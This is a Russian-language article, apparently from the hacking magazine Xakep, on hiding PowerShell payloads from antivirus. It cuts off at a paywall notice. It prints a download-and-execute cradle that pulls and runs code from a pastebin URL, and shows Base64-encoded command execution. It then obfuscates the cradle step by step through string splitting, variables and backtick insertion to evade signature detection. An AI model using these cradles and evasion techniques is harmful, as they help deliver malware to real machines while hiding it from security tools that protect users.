О`б’фу’ска””ция PowerShell. Как спрятать полезную нагрузку от глаз антивируса

Содержание статьи

В базах антивирусов содержатся миллионы сигнатур, однако трояны по-прежнему держатся в хакерском арсенале. Даже публичные и всем известные варианты полезных нагрузок Metasploit, разновидностей RAT и стиллеров могут остаться незамеченными. Как? Благодаря обфускации! Даже скрипт на PowerShell можно спрятать от любопытных глаз антивируса.

Посмотри на эту строку. Что ты здесь видишь?

;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "

Полагаю — ничего. А ведь это всего лишь команда netstat /ano после обфускации. В этой статье мы постараемся разобраться, как привести команды на PowerShell к такому виду, и проверим, как на это среагируют антивирусы.

WARNING

Распространение вредоносного ПО преследуется по закону. Все рассмотренные методы представлены в ознакомительных целях.

PowerShell в хакинге

Начнем с разговора о самом PowerShell. Почему именно он часто используется при взломе? Ну, как минимум потому, что PowerShell — это командная оболочка и несложный скриптовый язык, который используется во всех современных системах Windows. К тому же большинство команд исполняется в памяти, что может помочь избежать антивирусного детекта. Если на компьютере включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют хорошие инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других скриптов и файлов .bat, .doc, .xls, .ppt, .hta, .exe, .dll.

С помощью PowerShell можно загружать код из интернета (к примеру, с pastebin.com) или файла на ПК и исполнять его. Для этого используется командлет Invoke-Expression. Вот несколько примеров использования.

Invoke-Expression -Command 'C:\directory\script.ps1' 'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Также можно использовать кодировку Base64. Для начала следует закодировать команды в Base64.

[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))

Перед исполнением нужно будет декодировать их с помощью -EncodeCommand.

powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==

Есть куча других трюков с PowerShell. Для знакомства с основами и выбора инструментария рекомендую прочитать статью Алексея Панкратова «Выбираем среду разработки на PowerShell и пишем скрипты для Windows».

Обфускация PowerShell. Прятки с антивирусом

Процесс обфускации PowerShell не такой уж и сложный, так как это скриптовый язык и мы работаем со строками, а не с исполняемым двоичным кодом. Пройдемся по некоторым методам обфускации. Будем рассматривать все на примере этой команды:

Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

INFO

Обфускация — один из популярных методов обхода сигнатурного анализа.

Для начала попробуем убрать System из строки System.Net.WebClient. На выполнение команды это не повлияет, так как в функциях .NET писать System необязательно.

Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Посмотрим, что можно сделать еще. URL в нашей команде — это строка. Что можно делать со строками? Правильно — разделять и властвовать соединять, а вернее, конкатенировать. Попробуем это использовать.

Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Команда отрабатывает точно так же. Теперь попробуем часть команды объявить в виде переменной.

$get = New-Object Net.Webclient;
Invoke-Expression $get.DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Все отлично обфусцируется и работает. Идем дальше. Кручу-верчу, запутать хочу! DownloadString, наверное, используется хакерами уже сто лет. Запрячем его и New-Object среди и `.

$get = New-Object "`N`et.`W`ebc`l`i`ent"; Invoke-Expression $get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Неплохо замаскировали. Почти непонятно, что это на самом деле.

Продолжение доступно только подписчикам

Материалы из последних выпусков можно покупать отдельно только через два месяца после публикации. Чтобы продолжить чтение, необходимо купить подписку.

Подпишись на «Хакер» по выгодной цене!

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Читать новость в источнике Xakep